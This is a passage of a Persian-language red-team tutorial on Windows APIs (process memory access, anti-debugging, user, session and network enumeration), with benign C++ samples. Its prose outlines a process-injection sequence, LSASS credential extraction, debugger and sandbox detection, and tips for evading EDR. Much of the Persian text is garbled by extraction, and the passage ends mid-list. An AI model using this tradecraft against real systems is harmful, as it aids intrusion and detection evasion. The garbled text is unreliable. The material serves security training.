  LPCWSTR               lpCurrentDirectory, 
  LPSTARTUPINFOW        lpStartupInfo, 
  LPPROCESS_INFORMATION lpProcessInformation 

);  

 :پارامترها

 حیتوض پارامتر

lpApplicationName مثل  ییاجرا لیفا ریمس(
L"C:\\Windows\\System32\\notepad.exe") 

lpCommandLine م( تواندیخط فرمان کامل NULL )باشد 

lpProcessAttributes پردازش یتیامن یهایژگیو 

lpThreadAttributes نخ یتیامن یهایژگیو 

bInheritHandles  اگرTRUE بردیوالد را به ارث م یهاباشد، پردازش فرزند دسته 

dwCreationFlags مثل  جادیا یهانهیگز( پردازشCREATE_SUSPENDED) 

lpEnvironment پردازش یطیبلوک مح 

lpCurrentDirectory پردازش یکار ریمس 

lpStartupInfo  ساختارSTARTUPINFO کندیکه ظاهر پردازش را مشخص م 

lpProcessInformation ها و هندل یساختار حاوIDپردازش و نخ یها 

 :یبازگشت مقدار

TRUE صورت  نیا ریدر غ ت،یدر صورت موفقFALSE برا(خطا از  یGetLastErrorاستفاده کن )(دی.) 
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 مهم: یساختارها

 STARTUPINFO ای STARTUPINFOW پنجره پردازش شینما: نحوه 

 PROCESS_INFORMATION شامل :PID ،TID هاو هندل 

 فرزند.-والد رهیزنج ای قیکردن، تزر زولهیا ،یخارج یابزارها یاستفاده: اجرا موارد

2 .VirtualAlloc 
 :هدف

 پردازش فراخوان. یآدرس مجاز یحافظه در فضا صیتخص ای رزرو

Prototype: 
LPVOID VirtualAlloc( 
  LPVOID lpAddress, 
  SIZE_T dwSize, 
  DWORD  flAllocationType, 
  DWORD  flProtect 

);  

 :پارامترها

 حیتوض پارامتر

lpAddress ( ایآدرس دلخواه NULL ستمیس میتصم یبرا) 

dwSize  تیبا برحسباندازه 

flAllocationType MEM_COMMIT ،MEM_RESERVE هر دو ای 
flProtect  مثل( سطح حفاظت حافظهPAGE_READWRITE) 

 :صیتخص جیرا یهافلگ

 MEM_COMMITیکیزیحافظه ف صی: تخص 

 MEM_RESERVEآدرس بدون استفاده از حافظه ی: رزرو فضا 

 MEM_RELEASEحافظه با  ی: آزادسازVirtualFree 

 حفاظت: جیرا یهافلگ

 PAGE_READWRITEخواندن/نوشتن : 

 PAGE_EXECUTE_READWRITEشده قیکد تزر یاجرا ی: برا 

 :یبازگشت مقدار

 در صورت خطا. NULL ای شدهداده صیبه حافظه تخص گراشاره
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 استفاده: موارد

 حافظه  یدست صیتخصHeap 

 کدشل یبرا ییحافظه اجرا یسازآماده 

 کد مبهم سازی ای یرمزگذار یبرا یحافظه سفارش ینواح جادیا 

 خلاصه جدول

API مستندات دکیونینسخه  موردنیازهدر  کاربرد 

Message
BoxW 

 شینما
هشدار 

الیساده/د
 وگ

Windows.h بله https://learn.microsoft.com/en
-

us/windows/win32/api/winus

er/nf-winuser-messageboxw 

CreatePr
ocessW 

 یاجرا

پردازش 
 دیجد

Windows.h بله https://learn.microsoft.com/en
-

us/windows/win32/api/proces

sthreadsapi/nf-
processthreadsapi-

createprocessw 
VirtualAll

oc 
 صیتخص

 یدست

 حافظه

Windows.h N/A https://learn.microsoft.com/en
-

us/windows/win32/api/memo

ryapi/nf-memoryapi-
virtualalloc 
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و  OpenProcess ،ReadProcessMemory توابع – یکاربرد یهامثال
WriteProcessMemory 

 هستند در: یاهیتوابع پا از توابع نیا

 اتیعمل Red Team مثل استخراج اعتبارنامه( ها ازLSASS) 

 مثل تزر قیبدافزار/تزر یهاکیتکن(قی DLL ای process hollowing) 

 یشناسحافظه جرم لیو تحل باگید یابزارها (Forensic) 

 حافظه یهازنکد و وصلهشل یمعکوس، لودرها یمهندس 

1 .OpenProcess — پردازش در حال اجرا کیهندل  افتدری 

 :هدف

دادن آن  انیپا یحت ایها با حافظه، نخ دهدیهندل به پردازش موجود که به شما امکان م کی افتیدر

 .دیپردازش کار کن

Prototype: 
HANDLE OpenProcess( 
  DWORD dwDesiredAccess, 
  BOOL  bInheritHandle, 
  DWORD dwProcessId 

);  

 :پارامترها

 حیتوض رپارامت

dwDesiredAccess موردنیاز یسطح دسترس :PROCESS_VM_READ ،

PROCESS_VM_WRITE ،PROCESS_ALL_ACCESS 

bInheritHandle معمولاً  توانندیفرزند م یهاپردازش ایآ( هندل را به ارث ببرندFALSE) 

dwProcessId PID پردازش هدف 

 :یبازگشت مقدار

  ،کیاگر موفق شود HANDLE گرداندیبه پردازش برم. 

  در صورت شکستNULL از  یابیاشکال برای← گرداندیبرمGetLastErrorدی)( استفاده کن. 

 متداول: یدسترس حقوق

 PROCESS_VM_READ — برای لازم ReadProcessMemory 

 PROCESS_VM_WRITE + PROCESS_VM_OPERATION — برای لازم 
WriteProcessMemory 
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 PROCESS_QUERY_INFORMATION — شودیاستفاده م هیبا بق بترکی در اغلب 

2 .ReadProcessMemory — گریپردازش د کی از حافظه خواندن 

 :هدف

 شما. یبه بافر محل گریآدرس حافظه در پردازش د کیکردن داده از  یکپ

Prototype: 
BOOL ReadProcessMemory( 
  HANDLE  hProcess, 
  LPCVOID lpBaseAddress, 
  LPVOID  lpBuffer, 
  SIZE_T  nSize, 
  SIZE_T  *lpNumberOfBytesRead 
);  

 :پارامترها

 حیتوض پارامتر

hProcess  از( هندل پردازش هدفOpenProcess) 

lpBaseAddress خواندن یآدرس در پردازش هدف برا 

lpBuffer یگر به بافر محلاشاره 

nSize خوانده شود دیکه با ییهاتیتعداد با 

lpNumberOfBytesRead شدهخوانده یهاتیبا ی( تعداد واقعیاری)اخت 

 :یبازگشت مقدار

 TRUE تیدر صورت موفق 

 FALSE  از ←در صورت شکست GetLastError() دیاستفاده کن یابیاشکال یبرا 

 :یتیامن نکات

 یدسترس دیپردازش با PROCESS_VM_READ .داشته باشد 

 ASLR  وDEP ها را مسدود کنند.خواندن یممکن است بعض 

 ضدتقلب و  یهاستمیسEDR کنندیرا رصد م تیفعال نیبه شدت ا. 

3 .WriteProcessMemory — گریپردازش د کی حافظه در نوشتن 

 :هدف

 .گریآدرس پردازش د یکردن داده از برنامه شما به فضا یکپ
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Prototype: 
BOOL WriteProcessMemory( 
  HANDLE  hProcess, 
  LPVOID  lpBaseAddress, 
  LPCVOID lpBuffer, 
  SIZE_T  nSize, 
  SIZE_T  *lpNumberOfBytesWritten 
);  

 :پارامترها

 حیتوض پارامتر

hProcess هندل پردازش هدف 

lpBaseAddress در پردازش مقصد نوشته شود دیکه با ییجا 

lpBuffer شما یگر به داده محلاشاره 

nSize نوشته شود دیکه با ییهاتیتعداد با 

lpNumberOfBytesWritten شدهنوشته یهاتیبا ی( تعداد واقعیاری)اخت 

 :یبازگشت مقدار

 TRUE اگر نوشتن موفق شود 

 FALSE از  نیقبل از ا از،نی صورت در —صورت  نیا ریدر غVirtualAllocEx صیتخص یبرا 

 دیحافظه استفاده کن

 :یمنیا نکات

 به  ازینPROCESS_VM_WRITE  وPROCESS_VM_OPERATION .دارد 

 قیمعمولاً در تزر DLL شودیکد استفاده مشل یبارگذار ای، وصله کد. 

 ساده(: یکل یمعمول )نما یکار روال

 (یسینوبرنامه یهاروش ای Task Managerپردازش هدف )با  PIDکردن  دایپ .1

 لازم یبا سطح دسترس OpenProcess یفراخوان .2

 خواندن داده از حافظه یبرا ReadProcessMemoryاستفاده از  .3

 حافظه در پردازش هدف صیتخص یبرا VirtualAllocEx( استفاده از یاری)اخت .4

 کد ایداده  قیتزر یبرا WriteProcessMemoryاستفاده از  .5

 NtCreateThreadEx ای CreateRemoteThreadبا کد  ی( اجرایاری)اخت .6
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 : خواندن و نوشتن در حافظه پردازش خودمانمثال

#include <Windows.h> 

#include <iostream> 

 

int main() { 
    // Step 1: Setup a test variable 
    int targetValue = 1337; 
    std::cout << "[+] Original value: " << targetValue 

<< std::endl; 
 

    // Step 2: Get current process ID 
    DWORD pid = GetCurrentProcessId(); 
    std::cout << "[+] Current PID: " << pid << 

std::endl; 
 

    // Step 3: Open the process (itself) with read/write 

access 
    HANDLE hProc = OpenProcess( 
        PROCESS_VM_READ | PROCESS_VM_WRITE | 

PROCESS_VM_OPERATION, 
        FALSE, 
        pid 

    ); 
 

    if (!hProc) { 
        std::cerr << "[-] Failed to open process. Error: 

" << GetLastError() << std::endl; 
        return 1; 
    } 
 

    // Step 4: Read the value using ReadProcessMemory 
    int readBuffer = 0; 
    SIZE_T bytesRead = 0; 
 

    if (ReadProcessMemory(hProc, &targetValue, 

&readBuffer, sizeof(readBuffer), &bytesRead)) { 
        std::cout << "[+] ReadProcessMemory: " << 

readBuffer << " (" << bytesRead << " bytes)" << 

std::endl; 
    } else {        std::cerr << "[-] Failed to read 

memory. Error: " << GetLastError() << std::endl; 
    } 
 

    // Step 5: Modify the value using WriteProcessMemory 
    int newValue = 9000; 
    SIZE_T bytesWritten = 0; 
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    if (WriteProcessMemory(hProc, &targetValue, 

&newValue, sizeof(newValue), &bytesWritten)) { 
        std::cout << "[+] WriteProcessMemory: wrote " << 

bytesWritten << " bytes" << std::endl; 
        std::cout << "[+] New value: " << targetValue << 

std::endl; 
    } else { 
        std::cerr << "[-] Failed to write memory. Error: 

" << GetLastError() << std::endl; 
    } 
 

    // Step 6: Cleanup 
    CloseHandle(hProc); 
    return 0; 
}  

 

 نتیجه اجرای کد -4 ریتصو

 :دیریگیم ادی نجایآنچه ا

 مفهوم مرحله

OpenProcess حافظه یباز کردن پردازش با دسترس 

ReadProcessMemory از آدرس مشخص ریخواندن متغ 

WriteProcessMemory حافظه قیبا تزر ریمقدار متغ رییتغ 

GetCurrentProcessId منیتست ا یاستفاده از پردازش خود برا 

CloseHandle از نشت منابع یریجلوگ یها برابستن هندل 
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، NtQueryInformationProcess توابع – یکاربرد یهامثال

IsDebuggerPresent  وEnumWindows 

1 .NtQueryInformationProcess 

 :هدف

 لیفا ریمس باگ،ی، پورت دPEB (Process Environment Block)پردازش مثل  یاطلاعات داخل یابیباز

 والد. PIDو  ییاجرا

آن را مستند  یطور رسمبه کروسافتی. ماشودیصادر م ntdll.dll است و از NTAPIاز  یتابع بخش نیا

 .کنندیاز آن استفاده م ادیو بدافزارها ز شرفتهیپ ینکرده، اما ابزارها

 (:Signature) امضا
NTSTATUS NtQueryInformationProcess( 
  HANDLE           ProcessHandle, 
  PROCESSINFOCLASS ProcessInformationClass, 
  PVOID            ProcessInformation, 
  ULONG            ProcessInformationLength, 
  PULONG           ReturnLength 

);  

 :ProcessInformationClassمتداول  ریمقاد

 هدف مقدار
ProcessBasicInformation هیگرفتن آدرس پا PEB 

ProcessDebugPort باگریوجود د صیتشخ 
ProcessImageFileName ساختار  لیفا ریمس افتیدر(UNICODE_STRING) 

ProcessParentId  گرفتنPID  والد )از
InheritedFromUniqueProcessId) 
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 والد PIDو  PEB افتیکد: در نمونه
#include <Windows.h> 

#include <winternl.h> 

#include <iostream> 

 

// Define a custom struct to avoid conflict with SDK 

typedef struct _MY_PROCESS_BASIC_INFORMATION { 
    PVOID Reserved1; 
    PPEB PebBaseAddress; 
    PVOID Reserved2[2]; 
    ULONG_PTR UniqueProcessId; 
    ULONG_PTR InheritedFromUniqueProcessId; 
} MY_PROCESS_BASIC_INFORMATION; 
 

// Function pointer to NtQueryInformationProcess 

typedef NTSTATUS(NTAPI* NtQueryInformationProcess_t)( 
    HANDLE, 
    PROCESSINFOCLASS, 
    PVOID, 
    ULONG, 
    PULONG 

    ); 
 

int main() { 
    DWORD pid = GetCurrentProcessId(); 
    HANDLE hProcess = 

OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid); 
 

    if (!hProcess) { 
        std::cerr << "Failed to open process. Error: " 

<< GetLastError() << std::endl; 
        return 1; 
    } 
 

    // Resolve NtQueryInformationProcess from ntdll  
    HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll"); 

    NtQueryInformationProcess_t 

NtQueryInformationProcess = 
        

(NtQueryInformationProcess_t)GetProcAddress(hNtdll, 

"NtQueryInformationProcess"); 
 

    if (!NtQueryInformationProcess) { 
        std::cerr << "Could not resolve 

NtQueryInformationProcess" << std::endl; 
        CloseHandle(hProcess); 
        return 1;  
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    } 
 

    MY_PROCESS_BASIC_INFORMATION pbi = {}; 
    ULONG returnLength = 0; 
 

    NTSTATUS status = NtQueryInformationProcess( 
        hProcess, 
        ProcessBasicInformation, 
        &pbi, 
        sizeof(pbi), 
        &returnLength 
    ); 
 

if (status == 0) { 
        std::cout << "PEB Address: " << 

pbi.PebBaseAddress << std::endl; 
        std::cout << "Parent PID : " << 

pbi.InheritedFromUniqueProcessId << std::endl; 
    } 
    else { 
        std::cerr << "NtQueryInformationProcess failed. 

NTSTATUS: 0x" << std::hex << status << std::endl; 
    } 
 

    CloseHandle(hProcess); 
    return 0; 
}  

 

 :NtQueryInformationProcess –اجرا  جهینت -5 ریتصو

 مثل  نییسطح پا یاطلاعات داخل یابی: بازکندیچه م(PEB  وPID .از پردازش )والد 

 یداخل یبه ساختارها یدسترس ایدر والد پردازش  رییتغ انهیمخف صیموارد استفاده: تشخ. 

 دور زدن یدینکته کل :APIشودیپردازش استفاده م قیعم یبازرس یاستاندارد؛ برا یها. 

2 .IsDebuggerPresent 

 :هدف

در  BeingDebuggedتابع فلگ  نی. اریخ ایشدن است  باگیدر حال د یپردازش فعل ایآ نکهیا صیتشخ

PEB کندیم یرا بررس. 
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 :امضا

BOOL IsDebuggerPresent();  

 استفاده: موارد

 باگریوجود د عیسر یبررس 

 باگید یهاطیمح ای ایپو لیفرار از تحل یاستفاده بدافزارها برا 

 جیرا باگیچک ضد د 

 کد: نمونه
#include <Windows.h> 

#include <iostream> 

 

int main() { 
    if (IsDebuggerPresent()) { 
        std::cout << "Debugger detected. Exiting..." << 

std::endl; 
        return 1; 
    } else { 
        std::cout << "No debugger detected. Continuing 

execution." << std::endl; 
    } 
 

    // Proceed with normal execution... 
    return 0; 
}  

 

 :WinDBG در IsDebuggerPresent – اجرا جهینت -6 ریتصو
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 شودیم باگید یپردازش فعل ایآ کندیم ی: بررسکندیچه م. 

 شودیمتوقف م ای رییکد تغ یاجرا باگرید افتنیساده؛ در صورت  باگیموارد استفاده: ضد د. 

 فلگ  هی: بر پایدینکته کلPEB ییاست؛ ساده اما قابل شناسا. 

3 .EnumWindows 

 :هدف

 باز هستند. ستمی( که در سTop-Levelسطح بالا ) یهاتمام پنجره کردنستیل

 باگر،ید یهاپنجره ییشناسا برای — دهدینام کلاس را م ایمرتبط  PIDعنوان پنجره،  یبررس امکان

 است. دیمف رهیو غ روسیویآنت

 :امضا
BOOL EnumWindows( 
  WNDENUMPROC lpEnumFunc, 
  LPARAM      lParam 

);  

 .کندیم یشما را فراخوان callbackهر پنجره سطح بالا، تابع  یتابع برا نیا

 بر اساس عنوان باگرید یهاپنجره ییکد: شناسا نمونه
#include <Windows.h> 

#include <iostream> 

#include <string> 

#include <vector> 

 

std::vector<std::wstring> suspiciousTitles = { 
    L"OllyDbg", L"x64dbg", L"IDA", L"Immunity Debugger", 

L"WinDbg" 
}; 
 

BOOL CALLBACK EnumWindowsCallback(HWND hwnd, LPARAM 

lParam) { 
    wchar_t title[256]; 
    GetWindowTextW(hwnd, title, sizeof(title) / 

sizeof(wchar_t)); 
    for (const auto& suspect : suspiciousTitles) { 
        if (wcsstr(title, suspect.c_str())) { 
            std::wcout << L"[!] Suspicious window found: 

" << title << std::endl; 
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        } 
    } 
 

    return TRUE;  // continue enumeration 
} 
 

int main() { 
    EnumWindows(EnumWindowsCallback, 0); 
    return 0; 
}  

 

 :باگرهاید ییشناسا یبرا GetWindowText – اجرا جهینت - 7 ریتصو

 کندیم یکرده و عنوانشان را بررس ستیها را ل: همه پنجرهکندیچه م. 

 مثل  ییباگرهاید صیموارد استفاده: تشخOllyDbg ،x64dbg ،IDA  اجرا  یکیگراف صورتبهکه

 اند.شده

 میمستق یبه دسترس یازیاست و ن دیابزارها بر اساس نام پنجره مف ییشناسا ی: برایدینکته کل 

 به پردازش ندارد.

 خلاصه جدول

API انهیاستفاده مخف کاربرد 
NtQueryInformationProcess یبه ساختارها یدسترس 

 والد PEB ،PID ،یداخل
 یابیرد باگر،ید صیتشخ

 پردازش
IsDebuggerPresent هیاول لیفرار از تحل باگیساده ضد د یبررس 

EnumWindows یهاپنجره افتنی GUI  مثل
 AV ای باگرید

 صیابزارها، تشخ ییشناسا
 سندباکس
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 GetUserName / GetUserNameExتوابع  – یکاربرد یهامثال

 هدف

. شوندیتحت آن در حال اجراست استفاده م یکه پردازش فعل یحساب کاربر تیهو یابیباز یتوابع برا نیا

 است: دیمف ریموارد ز یخصوص براموضوع به نیا

 مثل  یسطح دسترس دییتأ(SYSTEM ،Administrator ،LocalUser) 

 اجرا بعد از  طیدرک محProcess Injection ای Token Impersonation 

 قبل از  یانجام بررسPrivilege Escalation ای Lateral Movement 

 توابع یمعرف

GetUserName 
BOOL GetUserName( 
  LPWSTR lpBuffer, 
  LPDWORD pcbBuffer 

);  

 متناظر با  ینام کاربرSecurity Context کندیم یابیرا باز یرشته فعل. 

 نه دامنه. گرداند،یرا برم یفقط نام کاربر 

  درadvapi32.dll شده است. فیتعر 

GetUserNameEx 
BOOLEAN GetUserNameEx( 
  EXTENDED_NAME_FORMAT NameFormat, 
  LPWSTR lpNameBuffer, 
  PULONG nSize 

);  

 مختلف بر اساس مقدار  یهارا در قالب ینام کاربرNameFormat کندیم یابیباز. 

  درsecur32.dll شده است. فیتعر 

 :NameFormatمتداول  ریمقاد

 حیتوض مقدار

NameSamCompatible DOMAIN\Username 
NameDisplay  از( نام کاملActive Directory) 

NameUserPrincipal user@domain.com 
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 GetUserName –کد  نمونه

#include <Windows.h> 

#include <iostream> 

 

int main() { 
    WCHAR username[256]; 
    DWORD size = sizeof(username) / sizeof(WCHAR); 
 

    if (GetUserNameW(username, &size)) { 
        std::wcout << L"Current User: " << username << 

std::endl; 
    } else { 
        std::wcerr << L"GetUserName failed." << 

std::endl; 
    } 
 

    return 0; 
}  

 مثلاً:  گرداندیرا برم یفقط نام کاربر(administrator) 

  گرداندیکامل را برنم تیهو ایدامنه 

 (DOMAIN\Usernameصورت )به GetUserNameEx –کد  نمونه

#include <Windows.h> 

#include <Sddl.h> 

#include <Security.h> 

#include <iostream> 

 

#pragma comment(lib, "Secur32.lib") 

 

int main() { 
    WCHAR name[256]; 
    ULONG size = sizeof(name) / sizeof(WCHAR); 
 

    if (GetUserNameEx(NameSamCompatible, name, &size)) { 
        std::wcout << L"Full identity (SAM): " << name 

<< std::endl; 
    } else { 
        std::wcerr << L"GetUserNameEx failed." << 

std::endl; 
    } 
 

    return 0; 
}  



 ویندوز برای تیم قرمز APIمقدمه ای بر توسعه 

 

82 

 

 نمونه: یخروج

CORP\\jdoe  

 Red Teamاستفاده در حملات  موارد

 نمونه استفاده هدف

 تیهو دیی، تأToken Impersonationبعد از  Effective Token یاعتبارسنج
 محدود ایاست  نیادم یکاربر فعل نکهیا نییتع یسشن فعل ییشناسا

حالا هم  نیحساب که هم کیارتقا از  یاز تلاش برا یریجلوگ یدسترس یاز ارتقا شیپ یبررس

 سطح بالا است یدارا

 (SYSTEMبه  قیاز صحت کانتکست )مثل تزر نانیاطم شدهقیرشته تزر در

 EDR ملاحظات

 دیتوابع از د نیا EDR شوندیخطر محسوب مکم. 

 کنندیم جادیندرت هشدار ابه ییتنهابه. 

  اما استفاده در کنارAPIمثل  ییهاImpersonateLoggedOnUser ای DuplicateTokenEx 

 مشکوک باشد. یرفتار یممکن است در توال
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 NetSessionEnum تابع – یکاربرد یهامثال

 هدف

دور راه ای یسرور محل کیفعال شبکه که به  یهاشمارش همه نشست یبرا NetSessionEnum تابع

 هستند که: یها شامل کاربراننشست نی. اشودیمتصل هستند استفاده م

 قیاز طر SMB اند( متصل شدهلیفا یگذار)اشتراک 

 اندکرده نیلاگ ستمیدور به سصورت راهبه 

 ای یاشتراک یهامثل پوشه یبه منابع Administrative Shares  مثل(C$ ،ADMIN$دسترس )ی 

 دارند

 :Red Team اتیدر عمل کاربرد

 هاست یکاربران فعال رو ییشناسا 

 یهاکردن فرصت دایپ Lateral Movement 

  نظارت بر استفاده ازRDP ،SMB ای File Share 

 ریخ اینون در حال استفاده است اکهم ستمیس نکهیا یبررس 

 تابع پیپروتوتا 

NET_API_STATUS NetSessionEnum( 
  LPCWSTR servername, 
  LPCWSTR UncClientName, 
  LPCWSTR username, 
  DWORD level, 
  LPBYTE *bufptr, 
  DWORD prefmaxlen, 
  LPDWORD entriesread, 
  LPDWORD totalentries, 
  LPDWORD resume_handle 

);  

 :یدیکل یپارامترها

 servernameنی: نام ماش ( هدفNULL یمحل نی= ماش) 

 UncClientName(یاریخاص )اخت نتیکلا یکردن برا لتری: ف 

 username(یاریبر اساس نام کاربر )اخت لتری: ف 

 level ًاست( یکاف هیشمارش پا برای 10 سطح – 502 ای 10: سطح اطلاعات )معمولا 

 bufptrهابه بافر اطلاعات نشست یگر خروج: اشاره 
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 entriesreadیبازگشت یها: تعداد نشست 

 totalentriesموجود یها: تعداد کل نشست 

 resume_handle(یاری)اخت یبندصفحه ی: برا 

 (level=10 ی)برا SESSION_INFO_10 ساختار

typedef struct _SESSION_INFO_10 { 
  LPWSTR sesi10_cname;     // Client name 
  LPWSTR sesi10_username;  // Username 
  DWORD  sesi10_time;      // Active time (seconds) 
  DWORD  sesi10_idle_time; // Idle time (seconds) 
} SESSION_INFO_10;  

 فعال هاینشست شمارش – ++C مثال
#include <Windows.h> 

#include <Lm.h> 

#include <iostream> 

 

#pragma comment(lib, "Netapi32.lib") 

 

int main() { 
    LPSESSION_INFO_10 pBuf = NULL; 
    DWORD entriesRead = 0, totalEntries = 0; 
    NET_API_STATUS status = NetSessionEnum( 
        NULL,      // Local machine 
        NULL,      // All clients 
        NULL,      // All users 
        10,        // Level 10 returns basic info 
        (LPBYTE*)&pBuf, 
        MAX_PREFERRED_LENGTH, 
        &entriesRead, 
        &totalEntries, 
        NULL 
    ); 
 

    if (status == NERR_Success && pBuf != NULL) { 
        for (DWORD i = 0; i < entriesRead; ++i) { 
            std::wcout << L"Client: " << 

pBuf[i].sesi10_cname << std::endl; 
            std::wcout << L"User:   " << 

pBuf[i].sesi10_username << std::endl; 
            std::wcout << L"Active time: " << 

pBuf[i].sesi10_time << L" sec" << std::endl; 
            std::wcout << L"Idle time:   " << 

pBuf[i].sesi10_idle_time << L" sec" << std::endl;  
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            std::wcout << std::endl; 
        } 
    } else { 
 

        std::wcerr << L"NetSessionEnum failed with 

error: " << status << std::endl; 
    } 
 

    if (pBuf != NULL) NetApiBufferFree(pBuf); 
 

    return 0; 
}  

 Red Teamاستفاده در  یوهایسنار

 استفاده ویسنار

را  یاشتراک یوهایدرا ایکه فولدرها  یکردن کاربران دایپ فعال SMBکاربران  ییشناسا
Mount اندکرده 

 فعال RDPکاربران  ای رانیمد ییشناسا دورراه یهانشست افتنی

 یقانون یهانشست یبرا Idle/Active تیوضع یبررس بر زمان یمبتن حملات

Lateral Movement یوبالا ر یدسترس یکه کاربران دارا ییهاستمیس ییشناسا 
 فعال هستند هاآن

 اتیعمل یاجرا یبرا تیفعالکم یهازمان افتنی انهیمخف تیفعال

 EDR ملاحظات

 کی API شودیمحسوب م یقانون یتیریمد. 

 مثل  یاستفاده خارج از ابزارها( استانداردnet session ای MMCم )ییشناسا ایثبت  تواندی 

 شود.

 ییشناسا سکیکاهش ر یبرا: 

o Dynamic Resolution تابع یفراخوان یبرا 

o در  میمستق یاز اجرا زیپرهPayload کاربر-( لندUserland) 

o مثل  نیگزیجا یهاکیاستفاده از تکنWMI ای Event Logs ها شمارش نشست یبرا

 Stealthدر حالت 
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 GetIpAddrTableو  GetAdaptersInfo توابع – یکاربرد یهامثال

 هدف
 :ازجمله دهند،یارائه م ستمیس یشبکه یهارابط یدرباره یاطلاعات ندوزیو APIدو  نیا

 یهاآدرس IP یمحل 

 یهاآدرس MAC 

 فرضشیپ یهادروازه 

 یاطلاعات سرورها DHCP/DNS 

 هستند: دیمف ریموارد ز یتوابع برا نیا ،یحملات نفوذ ایقرمز  میت دید از

 شبکه فعال یهارابط ییشناسا 

 نادرست یکربندیپ ای یادو شبکه یهاستمیس صیتشخ 

 یشبکه داخل یهاکشف محدوده 

 ریمس رییتغ ای یقبل از حرکت جانب هازبانیم یبررس 

 GetAdaptersInfo: تابع
DWORD GetAdaptersInfo( 
  PIP_ADAPTER_INFO pAdapterInfo, 
  PULONG pOutBufLen 

);  

 یاز ساختارها یوندیپ ستیل کی IP_ADAPTER_INFO کندیم یابیرا باز. 

 از  یبخشIP Helper API فا(لی Iphlpapi.dll.) 

  اطلاعات آدرسIP آدرس ،MAC ،دروازه ،DHCP  وDNS کندیرا فراهم م. 
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 IP_ADAPTER_INFO: ساختار
typedef struct _IP_ADAPTER_INFO { 
  struct _IP_ADAPTER_INFO *Next; 
  DWORD ComboIndex; 
  char AdapterName[MAX_ADAPTER_NAME_LENGTH + 4]; 
  char Description[MAX_ADAPTER_DESCRIPTION_LENGTH + 4]; 
  UINT AddressLength; 
  BYTE Address[MAX_ADAPTER_ADDRESS_LENGTH]; // MAC 
  DWORD Index; 
  IP_ADDR_STRING IpAddressList; 
  IP_ADDR_STRING GatewayList; 
  IP_ADDR_STRING DhcpServer; 
  BOOL HaveWins; 
  IP_ADDR_STRING PrimaryWinsServer; 
  IP_ADDR_STRING SecondaryWinsServer; 
  time_t LeaseObtained; 
  time_t LeaseExpires; 
} IP_ADAPTER_INFO;  

 C++: GetAdaptersInfo مثال
#include <Iphlpapi.h> 

#include <iostream> 
#pragma comment(lib, "Iphlpapi.lib") 

 

int main() { 
    IP_ADAPTER_INFO adapterInfo[16]; 
    DWORD size = sizeof(adapterInfo); 
 

    if (GetAdaptersInfo(adapterInfo, &size) == 

ERROR_SUCCESS) { 
        PIP_ADAPTER_INFO adapter = adapterInfo; 
 

        while (adapter) { 
            std::cout << "Adapter: " << adapter-

>Description << std::endl; 

 

            std::cout << "IP Address: " << adapter-

>IpAddressList.IpAddress.String << std::endl; 
            std::cout << "Gateway: " << adapter-

>GatewayList.IpAddress.String << std::endl; 
            std::cout << "MAC Address: "; 
            for (UINT i = 0; i < adapter->AddressLength; 

i++) {  
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                printf("%02X%s", adapter->Address[i], (i 

== adapter->AddressLength - 1) ? "" : "-"); 
            } 
            std::cout << "\n\n"; 
            adapter = adapter->Next; 
        }  
    } else { 
        std::cerr << "GetAdaptersInfo failed." << 

std::endl; 
    } 
    return 0; 
}  

 GetIpAddrTable: تابع
DWORD GetIpAddrTable( 
  PMIB_IPADDRTABLE pIpAddrTable, 
  PULONG pdwSize, 
  BOOL bOrder 

);  

 یهاتمام آدرس IPv4  گرداندیرا بازم یمحل یهابه رابط شدهدادهاختصاص. 

 از  یبخش نیهمچنIphlpapi.dll .است 

 از  ترنییسطح پاGetAdaptersInfo نگاشت فقط  ایاسکن  یاست و براIP است. دیمف 

 MIB_IPADDRTABLE: ساختار
typedef struct _MIB_IPADDRTABLE { 
  DWORD dwNumEntries; 
  MIB_IPADDRROW table[ANY_SIZE]; 
} MIB_IPADDRTABLE;  

 است: ریامل موارد زش MIB_IPADDRROW هر

 dwAddr آدرس :IP 

 dwMaskرشبکهی: ماسک ز 

 dwIndexشاخص رابط : 

 C++: GetIpAddrTable مثال
#include <Iphlpapi.h> 

#include <iostream> 

 

#pragma comment(lib, "Iphlpapi.lib")  
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int main() { 
    DWORD size = 0; 
    GetIpAddrTable(NULL, &size, FALSE); 
 

    PMIB_IPADDRTABLE ipTable = 

(PMIB_IPADDRTABLE)malloc(size); 
    if (GetIpAddrTable(ipTable, &size, TRUE) == 

NO_ERROR) { 
        for (DWORD i = 0; i < ipTable->dwNumEntries; 

++i) { 
            IN_ADDR ipAddr; 
            ipAddr.S_un.S_addr = ipTable-

>table[i].dwAddr; 
            std::cout << "IP Address: " << 

inet_ntoa(ipAddr) << std::endl; 
        } 
    } else { 
        std::cerr << "GetIpAddrTable failed." << 

std::endl; 
    } 
 

    free(ipTable); 
    return 0; 
}  

 قرمز میاستفاده در ت موارد

 کاربرد هدف

 موجود یهاها و رابطنتنگاشت ساب شبکه لیپروفا
دو  یدسترس یبرا یاچندشبکه یهاستمیس ییشناسا ریمس رییتغ صیتشخ

 یاشبکه
 یاحتمال یرهایو مس DNS، دروازه، DHCPاستفاده از  نییتع اطلاعات یآورجمع

 استخراج داده
 یقبل از شروع حرکت جانب زبانیم طیمح یبررس پس از نفوذ دییتأ

 impersonation ایجعل  یکارت شبکه برا تیهو دنیدزد زبانیم دیتقل

 (OPSEC) اتیعمل تیو امن ییشناسا
 نیا API ها به ندرت توسطEDRشوندیم ییها شناسا. 

 شوندیخطا استفاده م صیو تشخ ستمینظارت س یاغلب توسط ابزارها. 

 یهامپلنتیا ای جرهایکنترل و فرمان پس از نفوذ، است یهادر چارچوب منیطور ابه توانیم 

 استفاده کرد. یسفارش
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 یکارپنهان شیافزا یبرا: 

o دیکن یاز حد خوددار شیب یهایاز فراخوان 

o  دیکن یبارگذار کینامیدا صورتبهنمادها را (LoadLibrary + GetProcAddress) 
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 EnumServicesStatusEx – یکاربرد یهامثال

 هدف
نصب شده و  یهاسیاست که امکان فهرست کردن سرو ندوزیو API کی EnumServicesStatusExتابع 

را  ریمانند موارد ز یتابع اطلاعات نی. اکندیرا فراهم م موتیر ای یمحل ستمیس یدر حال اجرا رو

 :گرداندیبازم

 آن یشیو نام نما سینام سرو 

 اجرا )در حال اجرا، متوقف شده، متوقف موقت( یفعل تیوضع 

 ( شناسه پردازش مرتبطPID) 

 سیسرو ییاجرا لیفا ینریبا ریمس 

 :یاست برا دی( مفpost-exploitationقرمز و پس از نفوذ ) میت یهأ  درزمینه ژهیوبه API نیا

 اجرا شده تحت  یبا سطح دسترس یهاسیکشف سرو( بالاSYSTEM ای NETWORK SERVICE) 

